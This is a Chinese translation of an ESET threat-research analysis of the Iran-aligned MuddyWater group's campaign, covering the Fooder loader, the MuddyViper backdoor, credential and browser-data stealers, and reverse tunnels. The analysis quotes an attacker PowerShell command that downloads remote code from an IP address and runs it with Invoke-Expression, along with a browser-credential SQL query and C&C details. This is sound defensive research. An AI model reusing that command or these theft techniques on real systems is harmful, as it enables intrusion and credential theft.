MuddyWater APT组织新动向:以关键基础设施为目标,部署定制化恶意软件

ESET研究人员发现与伊朗相关的MuddyWater网络间谍组织在2024-2025年针对以色列和埃及关键基础设施的新活动。该活动使用了名为Fooder和MuddyViper的定制化加载器与后门,并通过伪装成“贪吃蛇”游戏、利用CNG加密API等高级技术实现防御规避。

MuddyWater: 河岸边的毒蛇

ESET研究人员发现了MuddyWater(又称Mango Sandstorm或TA450)组织的新活动,主要针对以色列的组织,并确认有一家埃及机构受害。MuddyWater是一个与伊朗结盟的网络间谍组织,以其对政府和关键基础设施部门的持续攻击而闻名,通常利用定制恶意软件和公开可用的工具。

在此次活动中,攻击者部署了一套先前未记录的定制工具,旨在改进防御规避和持久性。其中包括名为Fooder的定制加载器,用于执行名为MuddyViper的C/C++后门。Fooder的多个版本伪装成经典的贪吃蛇游戏,其内部逻辑包含一个受游戏机制启发的自定义延迟函数,并频繁结合使用Sleep API调用。这些功能旨在延迟执行并阻碍自动化分析。

MuddyViper使攻击者能够收集系统信息、执行文件和Shell命令、传输文件,并窃取Windows登录凭据和浏览器数据。该活动还利用了凭据窃取程序(CE‑Notes和LP‑Notes)和反向隧道工具(go‑socks5),后者一直是MuddyWater操作者青睐的工具。

尽管这是我们第一篇公开讨论MuddyWater的博客文章,但ESET研究人员已追踪该组织数年,并在多份ESET APT活动报告中记录了其活动。与以往常易被检测到的“嘈杂”攻击不同,本文描述的活动展现了更专注、复杂和精巧的攻击手法。

本文要点:

  • MuddyWater开发者采用了下一代Windows加密API(CNG),这在伊朗相关的攻击组织中很独特,在整个威胁环境中也略显非典型。
  • 该组织还使用了更先进的技术来部署新的MuddyViper后门,通过一个加载器(Fooder)将其反射式加载到内存中执行。
  • 我们提供了此次活动中使用工具的技术分析,包括MuddyViper后门、Fooder加载器、CE-Notes浏览器数据窃取器、LP-Notes凭据窃取器、Blub浏览器数据窃取器以及go‑socks5反向隧道。
  • 在此次活动中,操作者刻意避免了“手敲键盘”的交互式会话,这种历史上有名的“嘈杂”技术常以命令输入错误为特征。

MuddyWater组织概览

MuddyWater是一个至少自2017年以来活跃的网络间谍组织,主要针对中东和北美的实体。它是ESET研究人员追踪到的最活跃的与伊朗结盟的APT组织之一,并与伊朗情报与国家安全部有关联。

该组织最初由Unit 42在2017年以MuddyWater之名公之于众,其描述与ESET的分析一致——专注于网络间谍活动,使用恶意文档附件诱使用户启用宏以绕过安全控制,并主要针对中东地区的实体。

过去值得注意的活动包括2020年的“Operation Quicksand”,这是一次针对以色列政府实体和电信组织的网络间谍活动,体现了该组织从基础网络钓鱼战术向更高级的多阶段攻击的演变;以及一次针对土耳其政治团体和组织的活动,展示了该组织的地缘政治焦点、根据本地环境调整社会工程策略的能力,以及对模块化恶意软件和灵活C&C基础设施的依赖。

除了频繁活动外,MuddyWater的攻击行动通常很“嘈杂”。该组织以持续针对政府、军事、电信和关键基础设施部门而闻名,通常使用定制恶意软件和公开可用的工具来获取访问权限、维持持久性并窃取敏感数据。除了针对其宿敌以色列外,该组织似乎还针对那些与伊朗保持或寻求加强外交关系的国家。

ESET已记录多起归因于MuddyWater的攻击活动,突显了该组织不断演变的工具集和转移的作战重点。早期的攻击依赖于广泛的攻击目标和相对简单的技术,而近期的活动则显示出技术精炼和精度提高的迹象。

2023年3月至4月,MuddyWater通过部署一个批处理脚本攻击了沙特阿拉伯的一名身份不明受害者,该脚本下载了一个基于PowerShell的后门,用于下载和执行任意有效载荷,随后从磁盘中删除初始载荷。

该组织在2025年1月至2月进行了一次攻击,其与Lyceum(OilRig的一个子组)的作战重叠尤为引人注目,本出版物中有更详细的介绍。这种最新的重叠表明MuddyWater的作案手法正在演变。

该组织公开记录的定制工具包括Bugsleep、Blackout、Small Sieve、Mori和POWERSTATS后门,以及开源工具如LaZagne或CrackMapExec的自定义编译变体。MuddyWater的活动通常不会利用或引入新工具、恶意软件或技术;相反,它们常常因其攻击目标而值得关注。

虽然MuddyWater最初严格专注于网络间谍活动,但其与Lyceum的合作导致通过鱼叉式网络钓鱼攻击制造业。这次攻击产生了相当大的“噪音”,但在作战目标方面收效甚微。

本出版物概述的活动显示出,对MuddyWater而言,其在工具集和技术执行方面似乎达到了前所未有的进步。

受害者分析

如前所述,在此次活动中,MuddyWater主要针对以色列的组织,但也涉及埃及的一家机构。表1按国家和行业列出了受害者。该活动始于2024年9月30日,结束于2025年3月18日。

表1. 受害者的国家和行业分布

国家 行业
埃及 科技
以色列 工程 #1
工程 #2
工程 #3
地方政府 #1
地方政府 #2
制造业
科技
交通运输
公用事业
大学 #1
大学 #2
大学 #3
不明身份 #1
不明身份 #2
不明身份 #3
不明身份 #4
不明身份 #5

关于公用事业行业受害者,一个有趣的细节是,他们在2025年2月11日也曾被Lyceum入侵。

与Lyceum的重叠与合作

2025年初,ESET研究发现了MuddyWater与Lyceum之间的作战重叠,Lyceum是与伊朗结盟的OilRig网络间谍组织的一个子组,也称为HEXANE或Storm-0133。OilRig至少自2014年以来一直活跃,普遍认为其基地在伊朗。我们归因于Lyceum的工具包括DanBot、Shark、Milan、Marlin、Solar、Mango、OilForceGTX以及一系列利用合法云服务进行C&C通信的下载器。我们之前曾观察到Lyceum针对多个以色列组织,包括国家和地方政府实体以及医疗保健行业的组织。

在本文所述的活动中,MuddyWater与OilRig在2025年1月和2月进行了一次联合子活动。MuddyWater通过一封包含Syncro远程监控和管理(RMM)软件安装程序链接的鱼叉式网络钓鱼邮件发起初始入侵。在初始入侵之后,攻击者安装了另一个RMM工具PDQ,并部署了一个伪装成.txt文件扩展名证书文件的自定义Mimikatz加载器。根据观察到的活动,窃取的凭据很可能被Lyceum用来获取访问权限并接管以色列目标制造业组织的内部操作。

这种合作表明,MuddyWater可能充当其他与伊朗结盟组织的初始入侵中间人。

归因分析

在此次活动中观察到的受害者情况、战术、技术和程序(TTPs)以及工具集,与我们先前归因于MuddyWater的几个新记录的能力和工具相符。此评估基于初始入侵方法以及随后恶意工具的投放方式——通常通过包含RMM软件下载链接的鱼叉式网络钓鱼邮件。

TTPs

MuddyWater操作者继续依赖可预测的、基于脚本的、用PowerShell和Go编写的后门。他们的攻击目标仍然集中在电信、政府以及石油和能源领域。

初始入侵通常通过鱼叉式网络钓鱼邮件实现,这些邮件通常包含PDF附件,其中链接到托管在免费文件共享平台(如OneHub、Egnyte或Mega)上的RMM软件安装程序。这些链接会引导下载RMM工具,包括Atera、Level、PDQ和SimpleHelp。

MuddyWater操作者部署的工具中还包括VAX‑One后门,其命名模仿了它所冒充的合法软件:Veeam、AnyDesk、Xerox和OneDrive更新程序服务。

该组织继续依赖这种熟悉的“剧本”,使其活动相对容易被检测和阻断。

工具重叠

此外,我们还发现了几个新记录的工具与先前归因于MuddyWater的工具之间存在代码重叠:

  • LP-Notes,一种新的凭据窃取程序,其设计与我们先前与MuddyWater关联的浏览器数据窃取程序CE-Notes相同。在此次活动中,我们还观察到一个Mimikatz加载器,它与CE-Notes具有相同的设计和混淆方法。
  • 我们观察到了MuddyWater定制版go‑socks5反向隧道的几个新变体,该组织在2024年和2025年一直在使用。
  • 在两个实例中,我们观察到定制的go‑socks5反向隧道被嵌入到一个名为Fooder的新MuddyWater加载器中。在另外十几个案例中,该加载器被用来加载MuddyWater的新后门MuddyViper。
  • 有趣的是,MuddyViper和CE-Notes/LP-Notes/Mimikatz加载器变体使用CNG API进行数据加密和解密。据我们所知,这在伊朗相关的攻击组织中很独特。这些工具的另一个共同特征是,它们试图通过打开一个虚假的Windows安全对话框来窃取用户凭据。

工具集

在本文中,我们记录了MuddyWater使用的先前未知的定制工具:

  • Fooder加载器 – 一个新发现的加载器,用于将MuddyViper后门加载到内存中并执行。请注意,Fooder的多个版本伪装成经典的贪吃蛇游戏,因此有了“MuddyViper”(污浊的毒蛇)这个名称。Fooder的另一个显著特点是其频繁使用实现贪吃蛇游戏核心逻辑的自定义延迟函数,并结合Sleep API调用。这些功能旨在延迟执行,试图在自动化分析系统面前隐藏恶意行为。
  • MuddyViper后门 – 一个先前未记录的C/C++后门,使攻击者能够收集系统信息、下载和上传文件、执行文件和Shell命令,并窃取Windows凭据和浏览器数据。

本文档记录的其余工具集包括:

  • CE-Notes,浏览器数据窃取程序
  • LP-Notes,凭据窃取程序
  • Blub,浏览器数据窃取程序
  • 几个go‑socks5反向隧道

Fooder加载器

Fooder是一个64位C/C++加载器,旨在解密然后反射式加载嵌入的有效载荷(如图1所示),其中最常观察到的有效载荷是MuddyViper。

图1. Fooder与其启动器和有效载荷之间的关系

基于其PDB路径,Fooder似乎是该工具的内部名称:

1
2
C:\Users\win\Desktop\Fooder\Debug\Launcher.pdb
C:\Users\pc\Desktop\main\My_Project\Fooder\x64\Debug\Launcher.pdb

尽管我们只捕获了一个样本,但我们认为Fooder是由一个简单的C语言编写的启动器应用程序执行的。它没有字符串混淆,控制台日志详细,并且PDB路径保持完整: C:\Users\pc\source\repos\ConsoleApplication7\x64\Release\ConsoleApplication7.pdb

我们观察到一个启动Fooder组件的实例(SHA-1: 76632910CF67697BF5D7285FAE38BFCF438EC082)。该启动器以 %USERPROFILE%\Downloads\OsUpdater.exe 名称部署,期望一个进程ID作为命令行参数。一旦执行,它会尝试通过 DuplicateTokenEx API复制指定进程的令牌,然后使用 CreateProcessAsUserA 来执行Fooder。

一旦执行,Fooder按照以下步骤解密嵌入的有效载荷:

  1. 将命令行参数(6)与硬编码密钥的每个字节相加,生成AES解密密钥,该密钥在所有样本中共享:6969697820511281801712341067111416133321394945138510872296106446
  2. 从硬编码有效载荷的每个字节中减去一个硬编码值(5)。
  3. 最后,使用WinCrypt API和AES密钥解密硬编码的有效载荷。

然后,Fooder使用反射技术将有效载荷直接加载到内存中,使其能够在无需依赖标准系统调用或写入磁盘的情况下执行。

如此启动后,Fooder不仅用于投放MuddyViper,还用于投放HackBrowserData(一种能够解密和导出敏感浏览器信息如凭据和Cookie的开源工具)。Fooder还便于部署go‑socks5变体,这些是Go编译的二进制文件,用作反向隧道,使攻击者能够绕过防火墙和网络地址转换(NAT)机制。值得注意的是,MuddyWater组织之前曾独立于Fooder使用go‑socks5,这表明该组织继续依赖此工具进行隐蔽的网络通信和数据窃取。

请注意,Fooder的多个版本伪装成贪吃蛇游戏——见图2中高亮的字符串和互斥体——这是其最常嵌入的有效载荷。

图2. 多个Fooder实例伪装成贪吃蛇游戏

Fooder的另一个显著特点是其频繁使用自定义延迟函数(该函数实现了贪吃蛇游戏的核心逻辑,玩家操纵一条不断增长的线的末端,通常主题化为蛇,以避开障碍物和收集物品)以及Sleep API调用。执行延迟是通过模仿基于循环的延迟函数实现的:就像在贪吃蛇游戏中,每个动作都由一个循环控制,该循环在更新游戏前等待很短的时间。这个循环引入了执行延迟,减缓了恶意软件的行为,帮助其规避监控快速恶意活动的工具。图3高亮了延迟以及在运行时呈现给用户的贪吃蛇游戏欢迎横幅。

图3. 各种延迟执行调用分散在Fooder的代码中

Fooder本身没有任何内置的持久化能力。但是,当Fooder的最终有效载荷是MuddyViper后门时,该后门可以通过计划任务或启动文件夹为加载器设置持久性。

MuddyViper后门

MuddyViper是一个先前未记录的用C和C++编写的后门,能够获得对被入侵系统的隐蔽访问和控制。我们只在内存中观察到MuddyViper,由Fooder加载,这可能是它没有混淆或字符串加密的原因。对于MuddyWater来说很典型的是,MuddyViper在其整个执行过程中向其C&C服务器发送极其冗长和频繁的状态消息,例如:

1
2
3
[+] Persist: -------------------- Hi,I am Live --------------------
[+] Persist: -------------------- Hi,First Time --------------------
[-] Persist: failed Create task !!!!

该后门还保留了一个包含150多个进程名称和相关产品详情的冗长列表,以便能够发送关于在被入侵环境中检测到的安全工具的详细报告,尽管添加这些细节本可以很容易地在服务器端实现:

1
2
3
[>] Process: aciseagent.exe ~~> (Cisco Umbrella Roaming Security) --> (Security DNS) found!
[>] Process: acnamagent.exe ~~> (Absolute Persistence) --> (Asset Management) found!
[>] Process: acnamlogonagent.exe ~~> (Absolute Persistence) --> (Asset Management) found!

这种行为导致了大量的网络流量。

MuddyViper有两种建立持久性的方法:

  1. 其安装目录可以配置为Windows启动文件夹,方法是将以下注册表值设置为 %APPDATALOCAL%\Microsoft\Windows\PPBCompatCache\ManagerCache
    • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup
    • HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup
  2. 一个名为 ManageOnDriveUpdater 的计划任务可以在每次系统启动时从该路径启动MuddyViper。

MuddyViper支持20个后门命令——表2详细列出了所有命令——值得注意的是,包括打开和操作反向Shell、下载、上传和执行文件、报告运行的安全工具、从各种浏览器窃取用户凭据和数据、设置自身持久性以及卸载自身的能力。

表2. MuddyViper后门命令

ID 参数 操作 响应
200 N/A N/A 0,通过 GET /adadGET /aq36 请求,以获取后门命令。
207 N/A 解密嵌入的HackBrowserData工具并在新线程中反射式加载它。这个开源工具可以从网页浏览器窃取凭据、历史记录和其他信息。然后MuddyViper将收集的数据(压缩成名为 CacheDump.zip 的文件)上传到C&C服务器。 收集的浏览器数据,通过 GET /mq65 请求。如果出错,则发送自定义状态消息。
300 <command_line> 启动一个反向Shell,使用:
• 提供的命令行(命令ID 300)
C:\windows\system32\cmd.exe(命令ID 301)
C:\windows\system32\WindowsPowerShell\v1.0\Powershell.exe(命令ID 302)
然后,在一个循环中,将进程输出上传到C&C服务器并解释服务器响应(见命令ID 350-352),直到被中断。
进程输出,通过 GET /oi32 请求。如果出错,则发送自定义状态消息。
301 N/A
302 N/A
350 N/A 必须跟在命令ID 300-302之后。睡眠预配置的时间量——对于反向Shell循环,默认为一秒。
351 睡眠时间(毫秒) 必须跟在命令ID 300-302之后。配置反向Shell循环的睡眠时间——默认为一秒。
352 反向Shell的输入。 必须跟在命令ID 300-302之后。将提供的参数传递给正在运行的反向Shell。
360 N/A 未实现,可能与反向Shell API相关。 自定义错误消息:
[-] Agent does not have an active pipe
400 标志。 必须跟在命令ID 401之后。它确认C&C服务器已成功接收到被窃取本地文件的一部分。可选地将命令ID 401中指定的下一次上传前的睡眠时间调整为10秒。 无响应,除非在待处理文件上传过程之外发出此命令,否则会发送自定义错误消息:
[-] Agent does not have an DOWNLOAD file
401 睡眠时间(毫秒),文件名。 从指定的本地文件到C&C服务器分块发起文件上传操作,每次上传之间有指定的睡眠时间。 指定文件的内容,通过一系列 GET /dadw 请求。
500 数据块。 必须跟在命令ID 501之后。将接收到的数据块写入先前创建并打开的本地文件。 自定义错误消息(如果操作失败)。
501 睡眠时间(毫秒),文件名。 从C&C服务器分块下载文件到具有指定名称的本地文件中。指定的睡眠时间用作下载每个数据块后的延迟。如果连续六次尝试后仍无法建立连接,则删除文件。 一系列 GET /dadwqa 请求,以请求文件内容。
700 睡眠时间(毫秒) 将连接尝试之间的睡眠时间配置为指定值(默认为60秒)。 N/A
800 N/A 枚举正在运行的进程,从广泛的硬编码列表中搜索选定的安全工具。 对于每个检测到的进程,发送一个报告,其中包含以下信息,从该硬编码表中填充:
[>] Process: <process_name> ~~> (<product_name>) --> (<category>) found!
805 超时时间(毫秒) 显示一个虚假的Windows安全对话框(见图4),提示用户填写凭据,然后这些凭据被窃取到C&C服务器。使用提供的参数作为对话框的超时时间。 收集的凭据,通过 GET /rq13 请求:
[+] creds ~~> Username:<username> ~~> Password:<password>
如果不成功,则发送自定义错误消息。
806 N/A 通过名为 ManageOnDriveUpdater 的计划任务设置持久性。后门将自己复制到其安装路径,除非它已从那里运行。 自定义状态消息,取决于操作结果。
900 N/A 卸载自身。首先清除通过Windows启动文件夹设置的持久性,然后删除自身。
注意: 此操作不会清除后门命令ID 806可以设置的计划任务持久性。
自定义状态消息,取决于操作结果。
905 N/A 终止当前的后门进程。 N/A
906 N/A 重新启动自身(通过 CreateProcessW API)并终止当前进程。 自定义状态消息,取决于操作结果。
其他 N/A N/A [-] Agent statusCode I don't have it

表2中列出的一个命令,ID 805,显示一个虚假的Windows安全对话框,试图诱使受害者填写其Windows凭据,如图4所示。MuddyWater的LP-Notes窃取程序使用了类似的技术(见LP-Notes凭据窃取程序)。

图4. MuddyViper(命令ID 805)显示的虚假Windows安全对话框

另一个命令,ID 900,旨在从被入侵的机器中移除MuddyViper并清除其持久性;但是,该命令不会移除后门的所有痕迹。

网络协议

为了与其C&C服务器通信,MuddyViper使用HTTP GET请求(通过WinHTTP API)通过端口443,并配置了 WINHTTP_FLAG_SECURE 标志以使用SSL/TLS。已观察到两个C&C服务器:processplanet[.]org35.175.224[.]64

通信的两个方向都使用CNG API通过AES-CBC加密数据,密钥(在所有样本中通用)为 0608101047106453101617106423101013101012101083109710108585106969,IV为 0

在后门→服务器的通信方向:

  • C&C服务器支持的每个端点URI都可以被后门用于特定类型的请求,例如请求命令、上传文件或发送自定义状态消息。
  • 附加给C&C服务器的数据包含在HTTP请求体中,这对于HTTP GET请求来说是不常见的。
  • User-Agent字符串是 A WinHTTP Example Program/1.0,这是 WinHttpOpen API示例代码的残留。
  • 连接、发送、接收和响应超时设置为30秒。
  • 连续连接尝试之间的默认睡眠时间为60秒。该值可以通过命令ID 700配置。
  • 失败时,连接尝试最多重试10次。
  • 在加密之前,数据始终格式化为 <computer_name>/<username>*<data>

在服务器→后门的通信方向:

  • HTTP状态码决定了后门命令ID。
  • 后门命令参数包含在HTTP响应体中。

CE-Notes浏览器数据窃取程序

CE-Notes是一个浏览器数据窃取程序,我们根据其在磁盘上用于暂存被盗数据的文件名——ce-notes.txt——为其命名。我们在2024年发现了CE-Notes,当时观察到MuddyWater在以色列一个组织的系统上部署了它的EXE和DLL版本。

CE-Notes通过以下PowerShell命令下载:

"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" (Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://206.71.149[.]51:443/57576?filter_relational_operator_2=60169).content | Invoke-Expression

两个版本的浏览器数据窃取程序都试图窃取并解密存储在Chromium浏览器(Chrome、Brave和Edge)Local State文件(%APPDATA%\Local\Google\Chrome\User Data\Local State)中的应用程序绑定加密密钥。应用程序绑定加密是在Chrome 127版本中引入的,使Chrome能够加密与应用程序身份绑定的数据。网络犯罪分子和APT组织已经注意到这一点,并正在积极尝试绕过应用程序绑定加密以窃取会话密钥。CE-Notes与GitHub上的ChromElevator非常相似。

收集的数据使用CNG API进行AES-CBC加密,密钥为 9262A37DF166AC1D5F582AAC79F54CCB47623BFD9BA001228D284AE13A08F52F,IV为 4103A09887B82FFD56A93BB431805224

然后,加密的数据存储在磁盘上的 C:\Users\Public\Downloads\ce-notes.txt 中,以便稍后检索(可能是通过RMM工具,因为EXE和DLL版本都没有任何窃取文件的手段)。EXE和DLL之间的主要区别在于DLL中添加了虚拟机规避功能。

我们在以下位置观察到CE-Notes浏览器数据窃取程序:

  • C:\system2.dll
  • C:\Users\Public\Downloads\system2.dll
  • C:\Intel\system.dll
  • C:\20240926_165509.exe

LP-Notes凭据窃取程序

LP-Notes是一个C/C++ Windows凭据窃取程序,其设计与CE-Notes浏览器数据窃取程序相同。遵循与CE-Notes相同的命名惯例,我们根据其用于在窃取前暂存凭据的本地文件将该窃取程序命名为LP-Notes:C:\Users\Public\Downloads\lp-notes.txt(对比 C:\Users\Public\Downloads\ce-notes.txt)。LP-Notes的唯一目的是诱使受害者通过显示虚假的Windows安全对话框提交其凭据,提示他们输入Windows用户名和密码。我们观察到LP-Notes的一个实例被PowerShell下载并执行,其命令行与CE-Notes部分所示的非常相似。

初始化

执行时,LP-Notes首先搜索名为 taskhostw.exe(Windows任务的主机进程)的进程,然后模拟该进程的安全上下文(通过 ImpersonateLoggedOnUser API);只有在此之后,LP-Notes才会激活其恶意载荷。

LP-Notes采用了几种简单的混淆技术,包括一个基于加法的自定义字符串解密例程。图5显示了解密长度在15到19个字符之间的字符串的函数,尽管解密密钥总是相同的——一组预定义的常量,它们被加到或从字符串的每个字节中减去。有趣的是,CE-Notes使用相同的解密例程,只是解密密钥不同,如图6所示。

图5. LP-Notes字符串解密例程

图6. CE-Notes字符串解密例程,与LP-Notes类似

LP-Notes对长度小于15或大于19的字符串使用字符串堆叠,包括解密密钥、IV和导入名称。最后,为了模糊Windows API函数的使用并使静态分析更具挑战性,LP-Notes在C运行时启动期间动态解析API函数,即在 WinMain 函数(根据Microsoft的说法,这是基于图形化Windows应用程序的标准入口点)执行之前,从而从伪代码视图中隐藏对API函数的直接引用(见图7)。

图7. LP-Notes WinMain函数与混淆的导入名称(左)对比去混淆视图(右)

功能

在一个无限循环中,LP-Notes显示一个虚假的Windows安全对话框,提示受害者输入其Windows用户名和密码,如图8所示(通过 CredUIPromptForWindowsCredentialsW API)。请注意,虽然相似,但这与MuddyViper使用的虚假凭据提示不同(见图4)。它会立即尝试以该用户身份登录(通过 CredUnPackAuthenticationBufferWLogonUserW API)来验证任何提交的凭据的有效性。

图8. LP-Notes显示的虚假Windows安全对话框

如果成功,收集到的凭据则使用CNG API进行AES-CBC加密,密钥为 ED15C8344B45DAED1E0578F8BC1A32411812C61F4CB45D89B107287DE0E09FFC,IV为 91A4E6F6D51DAEE773A8F00279792578

与CE-Notes类似,LP-Notes然后将加密的凭据存储在本地文件——本例中为 C:\Users\Public\Downloads\lp-notes.txt。由于这些组件都没有窃取数据的能力,因此推测另一个组件(可能是RMM工具或MuddyViper)处理此任务。

Blub浏览器数据窃取程序

Blub是一个C/C++浏览器数据窃取程序,包含一个静态链接的SQLite库。其名称来源于其文件名 Blub.exe。我们观察到的PDB路径为 C:\Users\jojo\source\repos\stealer\x64\Release\stealer.pdb。它从Google Chrome、Microsoft Edge、Mozilla Firefox和Opera网页浏览器窃取用户登录数据。

基于Chromium的浏览器

对于Chrome,Blub首先终止 chrome.exe(如果正在运行),然后解析并解密 C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Local State 中的加密密钥。该密钥用于加密Chrome存储的敏感数据,例如密码或Cookie,并且受数据保护API(DPAPI)保护,因此只能在最初加密它的系统上解密。Blub通过 CryptUnprotectData API解密此密钥,然后使用它来解密从被入侵计算机上所有现有Chrome用户配置文件获得的用户凭据。凭据存储在 C:\Users\<username>\AppData\Local\Google\Chrome\User Data\<profile_name>\Login Data 中,通过以下SQL查询获得:

SELECT origin_url, username_value, password_value FROM logins

类似的一系列步骤用于从Microsoft Edge和Opera用户配置文件获取和解密用户凭据,分别使用从 C:\Users\<username>\AppData\Local\Microsoft\Edge\User Data\Local StateC:\Users\<username>\AppData\Roaming\Opera Software\Opera Stable\Local State 获得的密钥。

Firefox

最后,为了解密Mozilla Firefox存储的用户凭据,Blub从每个用户配置文件目录(即 %APPDATAROAMING%\Mozilla\Firefox\Profiles\<profile_name>\)中的 logins.json 文件解析 hostnameencryptedUsernameencryptedPassword 值。然后使用Firefox使用的 nss3.dll 库中的 PK11SDR_Decrypt 函数解密凭据。

收集的数据存储到名为 file.txt 的本地文件中,没有加密。相同的数据以及详细的状态消息被记录到控制台,没有加密。Blub没有窃取此文件的能力。

请注意,Blub在执行其恶意载荷之前会检查与安全解决方案相关的运行进程,重点关注 afwServ.exe(Avast防火墙)和 AvastSvc.exe(Avast杀毒软件)进程的组合。如果检测到 afwServ.exe 正在运行(但没有 AvastSvc.exe),Blub会得出结论认为被入侵主机上正在运行Norton(现在使用Avast引擎),然后退出。如果检测到 AvastSvc.exe(Avast),Blub会继续执行,但会跳过从Microsoft Edge窃取凭据。

虽然Blub的字符串以明文存储,但对与Google Chrome数据窃取功能相关的字符串使用了一种简单的混淆技术。具体来说,多个字符串被连接成一个长字符串,中间有16个随机字符,显然是为了在静态分析中隐藏它们:

gdGlog}o{eRwjpw&"encrypted_key":FAe[{hy|b-vcJvxGImpersonateLoggeh}gdOvlgt_NxuoolOpenProcessTokenVLUKKW'xxqjpwe}uDuplicateTokenExs5&}vl{tiplh|io|eIpuvvkdXznx(Gh}n2(sh|y⌂ryme~ds~

移除垃圾字符并分割字符串后得到:

1
2
3
4
"encrypted_key":
ImpersonateLogge
OpenProcessToken
DuplicateTokenEx

go‑socks5反向隧道

MuddyWater的go‑socks5反向隧道是一组基于公开可用库(如go‑socks5、yamux和resocks)的Go编译工具;它们经常被用于MuddyWater近期的活动中。

我们分析的大多数变体似乎内部命名为ESETGO(与ESET无关),基于图9中显示的构建配置字符串和其他工件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
path  ESETGO
mod   ESETGO	(devel)
dep   github.com/armon/go-socks5	v0.0.0-20160902184237-e75332964ef5h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=
dep	  github.com/hashicorp/yamux	v0.1.1	h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE=
dep	  golang.org/x/net	v0.29.0	h1:5ORfpBpCs4HzDYoodCDBbwHzdR5UrLBZ3sOnUJmFoHo=
dep	  golang.org/x/sys	v0.25.0	h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
build -buildmode=exe
build -compiler=gc
build -ldflags="-w -s"
build CGO_ENABLED=1
build CGO_CFLAGS=
build CGO_CPPFLAGS=
build CGO_CXXFLAGS=
build CGO_LDFLAGS=
build GOARCH=amd64
build GOOS=windows
build GOAMD64=v1

图9. MuddyWater go‑socks5变体的构建配置字符串

MuddyWater的go‑socks5代理的主要目的是在被入侵机器(在特定端口上)和硬编码的C&C服务器之间中继通信,使用硬编码的连接密钥通过SSL/TLS与C&C服务器进行身份验证。这种设置允许攻击者通过被入侵机器路由C&C流量(可能与其他入侵相关),从而隐藏真实C&C服务器的位置。

结论

此次攻击活动表明了MuddyWater在作战成熟度上的演变。部署先前未记录的组件——如Fooder加载器和MuddyViper后门——标志着其努力增强隐蔽性、持久性和凭据窃取能力。使用受游戏启发的规避技术、反向隧道和多样化的工具集,反映出比早期活动更精细的方法,尽管该组织作战不成熟的痕迹依然存在。

MuddyWater继续展示其能够执行从一般到中等偏上水平的攻击活动的能力,即及时、有效且防御起来越来越具有挑战性。虽然我们评估MuddyWater仍将是伊朗相关活动的主要参与者,但我们预计其典型活动模式将持续,并辅以更先进的TTPs。

ESET将继续监控该组织的活动,重点关注其技术发展和针对政府、军事、电信和关键基础设施的战略攻击的进一步迹象。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计